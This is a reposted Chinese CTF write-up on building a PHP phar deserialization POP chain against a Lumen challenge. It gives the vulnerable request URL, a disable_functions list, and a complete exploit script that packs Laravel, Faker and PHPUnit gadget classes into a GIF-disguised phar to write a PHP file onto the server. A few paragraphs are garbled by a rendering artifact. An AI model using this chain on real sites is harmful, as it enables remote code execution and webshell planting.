PHP反序列化入门之寻找POP链（一）

男娘i 2022-10-01 12:55 177阅读 0赞

原文地址：[https://mochazz.github.io/2019/02/06/PHP反序列化入门之寻找POP链（一）/][https_mochazz.github.io_2019_02_06_PHP_POP]

本文以 [**code-breaking**][code-breaking] 中 **lumenserial** 为例，练习PHP反序列化 **POP链** 的寻找，题目地址：[https://code-breaking.com/puzzle/7/][https_code-breaking.com_puzzle_7] 。

## 环境搭建 ##

### 运行环境要求 ###

*  PHP >= 7.1.3
 *  OpenSSL PHP Extension
 *  PDO PHP Extension
 *  Mbstring PHP Extension

### 安装题目环境 ###

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70]

### 运行题目代码 ###

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 1]

更多请参考：[https://laravel-china.org/docs/lumen/5.7/installation/2402][https_laravel-china.org_docs_lumen_5.7_installation_2402]

PS：更新P牛制作的docker环境 [https://github.com/phith0n/code-breaking][https_github.com_phith0n_code-breaking]

## 漏洞点 ##

在 **routes/web.php** 文件中，定义了 **web** 程序的路由，当我们以 **GET** 或 **POST** 方法访问 **[http://website/server/editor][http_website_server_editor]** 的时候，程序就会调用 **app/Http/Controllers/EditorController.php** 类中的 **main** 方法。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 2]

我们进而看 **app/Http/Controllers/EditorController.php** 文件，很快便会发现有一个 **download** 方法中的 **$url** 变量没有经过任何处理用在了 **file\_get\_contents** 函数中， **download** 方法代码如下：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 3]

这时我们便考虑  **u r l ∗ ∗ 变 量 是 否 可 控 ， 如 果 可 控 ， 便 可 以 利 用 ∗ ∗ p h a r 反 序 列 化 ∗ ∗ 。 我 们 回 溯 寻 找 ∗ ∗ url\*\* 变量是否可控，如果可控，便可以利用 \*\*phar反序列化\*\* 。我们回溯寻找 \*\* url∗∗变量是否可控，如果可控，便可以利用∗∗phar反序列化∗∗。我们回溯寻找∗∗url** 变量来源，会发现在 **doCatchimage** 方法中，该变量值是从  **s o u r c e s ∗ ∗ 变 量 来 。 而 ∗ ∗ sources\*\* 变量来。而 \*\* sources∗∗变量来。而∗∗sources** 变量由用户传来的 **source** 参数决定（通过 **[http://website/server/editor/?action=Catchimage&source\[\]=phar://xxx.gif][http_website_server_editor_action_Catchimage_source_phar_xxx.gif]** 即可控制 **$url** 变量），相关代码如下：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 4]

那么接下来，我们就要寻找可利用的类方法，然后通过 **phar反序列化** 触发漏洞。

## 了解PHPGGC ##

在寻找 **pop链** 之前，我们不妨先看看 [**phpggc**][phpggc] 中已有的 **4种** 关于 **Laravel** 框架 **RCE** 的 **payload** 生成方法，以便我们更快速的找出本题的 **pop链** ，其 **4种** **Laravel** 框架 **RCE** 的 **payload** 生成方法分别如下：

**第1种**

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 5]

其反序列化时，类方法调用过程如下：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 6]

**第2种**

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 7]

其反序列化时，类方法调用过程如下：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 8]

**第3种**

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 9]

其反序列化时，类方法调用过程如下：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 10]

**第4种**

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 11]

其反序列化时，类方法调用过程如下：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 12]

这里我选取 **第1种** 的 **phar反序列化** 执行结果图（题目环境为 **PHP7.1.16** ）：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 13]

然而本题目的环境还有一些额外的限制，例如 **PHP** 版本为 **7.2.14** ，且设置了禁用了如下函数和类（这个通过 **phpggc** 的第一个 **Laravel** 框架 **RCE** 生成 **phpinfo** 函数的利用 **phar** 即可看到）：

disable_functions：
    system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log
    disable_classes：
    GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator

由于在 **PHP7.x** 版本中，很多函数禁止动态调用了，加上上面的这些限制，所以我们还需要寻找其他利用点，结合上述 **POP** 链，完成写 **shell** 。

## 开始寻找pop链 ##

我们可以发现上面的4种 **RCE** 入口点都是从 **PendingBroadcast** 类的 **\_\_destruct** 方法开始的，那么我们着重搜索 **dispatch** 方法和 **\_\_call** 方法。经过一番搜索，发现 **ValidGenerator** 类中的 **\_\_call** 比较好利用。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 14]

我们可以看到其代码中先调用了 **call\_user\_func\_array** 函数，然后将 **call\_user\_func\_array** 函数的执行结果又传入 **call\_user\_func** 函数，只要我们能控制住 **call\_user\_func\_array** 函数的执行结果，相当于 **call\_user\_func** 函数的两个参数都可控，这样我们便可以调用任意类方法。

我们接着搜索可以用于控制 **call\_user\_func\_array** 函数执行结果的类，这里我找到了 **DefaultGenerator** 类的 **\_\_call** 方法，我们可以看到返回值 **$this->default** 完全可控。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 15]

现在 **call\_user\_func($this->validator, $res)** 中的两个参数都可控了。那么如果我们想写shell，就要调用 **file\_put\_contents** 函数，而这个函数需要两个参数，所以直接通过 **call\_user\_func** 函数是无法使用该函数的，我们需要通过 **call\_user\_func\_array** 函数来使用 **file\_put\_contents** 函数，用法形如： **call\_user\_func\_array(‘file\_put\_contents’,array(‘shell.php’,’test’))** 。

通过直接搜索 **call\_user\_func\_array** 函数，我们会发现两个比较好利用的类函数。但是这里的第一个 **ClosureWrapper** 类我们无法利用，所以得利用 **ReturnCallback** 类的 **invoke** 方法，具体代码如下：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 16]

很明显 **invoke** 方法两个参数都可控，现在我们只要构造好一个 **Invocation** 类对象即可。通过搜索，我们会发现 **Invocation** 是一个接口，那么我们找到他的实现类即可。这里我找到了 **StaticInvocation** 类来实现上诉功能，其代码具体如下：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 17]

这样子，我们的整个 **POP链** 就构造好了。下面是 **exp** ：

<?php
       namespace Illuminate\Broadcasting{
        
           class PendingBroadcast{
        
                protected $events;
                protected $event;
                function __construct($events, $event){
        
                    $this->events = $events;
                    $this->event = $event;
                }
            }
        };
        namespace Faker{
        
            class DefaultGenerator{
        
                protected $default;
                public function __construct($default = null){
        
                    $this->default = $default;
                }
            }
            class ValidGenerator{
        
                protected $generator;
                protected $validator;
                protected $maxRetries;
                // __call方法中有call_user_func_array、call_user_func
                public function __construct($generator, $validator = null, $maxRetries = 10000)
                {
        
                    $this->generator = $generator;
                    $this->validator = $validator;
                    $this->maxRetries = $maxRetries;
                }
            }
        };
        namespace PHPUnit\Framework\MockObject\Stub{
        
            class ReturnCallback
            {
        
                private $callback;
                public function __construct($callback)
                {
        
                    $this->callback = $callback;
                }
            }
        };
        namespace PHPUnit\Framework\MockObject\Invocation{
        
            class StaticInvocation{
        
                private $parameters;
                public function __construct($parameters){
        
                    $this->parameters = $parameters;
                }
            }
        };
        namespace{
        
            $function = 'file_put_contents';
            $parameters = array('/var/www/html/11.php','<?php phpinfo();?>');
            $staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
            $returncallback = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);
            $defaultgenerator = new Faker\DefaultGenerator($staticinvocation);
            $validgenerator = new Faker\ValidGenerator($defaultgenerator,array($returncallback,'invoke'),2);
            $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($validgenerator,123);
            $o = $pendingbroadcast;
            $filename = 'poc.phar';// 后缀必须为phar，否则程序无法运行
            file_exists($filename) ? unlink($filename) : null;
            $phar=new Phar($filename);
            $phar->startBuffering();
            $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
            $phar->setMetadata($o);
            $phar->addFromString("foo.txt","bar");
            $phar->stopBuffering();
        };
        ?>

## 最后 ##

我们再通过下面这张图片，来理清整个 **POP链** 的调用过程。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 18]

[https_mochazz.github.io_2019_02_06_PHP_POP]: https://mochazz.github.io/2019/02/06/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8B%E5%AF%BB%E6%89%BEPOP%E9%93%BE%EF%BC%88%E4%B8%80%EF%BC%89/
[code-breaking]: https://code-breaking.com/
[https_code-breaking.com_puzzle_7]: https://code-breaking.com/puzzle/7/
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70]: /images/20220118/71fc1ac1f2c04a6ea145570722c4ee87.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 1]: /images/20220118/b94d3b9e1a2d419281473a1f6c1ba72d.png
[https_laravel-china.org_docs_lumen_5.7_installation_2402]: https://laravel-china.org/docs/lumen/5.7/installation/2402
[https_github.com_phith0n_code-breaking]: https://github.com/phith0n/code-breaking
[http_website_server_editor]: http://website/server/editor
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 2]: /images/20220118/8962b376af3842a89c03a6598350eaa3.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 3]: /images/20220118/e4f199e49262461fadc5f79fd601420d.png
[http_website_server_editor_action_Catchimage_source_phar_xxx.gif]: http://website/server/editor/?action=Catchimage&source%5B%5D=phar://xxx.gif
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 4]: /images/20220118/2bfe0eb483174db2bf1da753aec3e8af.png
[phpggc]: https://github.com/ambionics/phpggc
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 5]: /images/20220118/3c25b11a2a6b4b75abb2debec44880b9.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 6]: /images/20220118/3872675c7a4a4cbaa728d985d066b44f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 7]: /images/20220118/479bfa4144da4f30b6d9fcf0b78c71ea.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 8]: /images/20220118/1f5ea884bc954d7a9fc02a3739977076.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 9]: /images/20220118/8d7ed81ef2e04b319b60d1d08a344d37.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 10]: /images/20220118/cd06e4a5e76b49aabcd41c973d4e1c74.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 11]: /images/20220118/43b2809f03a74deba9c3ead020114428.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 12]: /images/20220118/3fc6dffdb8c046d7baec1776b4060838.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 13]: /images/20220118/5c25f31def584eb7a9d6d0846a5c30b1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 14]: /images/20220118/53ba78c268e34ec9aa208b45b228c5af.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 15]: /images/20220118/2dcd9bfa39a24a2da8bb7eb72f4d372e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 16]: /images/20220118/c342ad1e4a1048e5b785e53e97e9a8bc.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 17]: /images/20220118/357048921d9142d6952582d71b5abf13.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 18]: /images/20220118/808dd85d0237442aad8994993639ff6a.png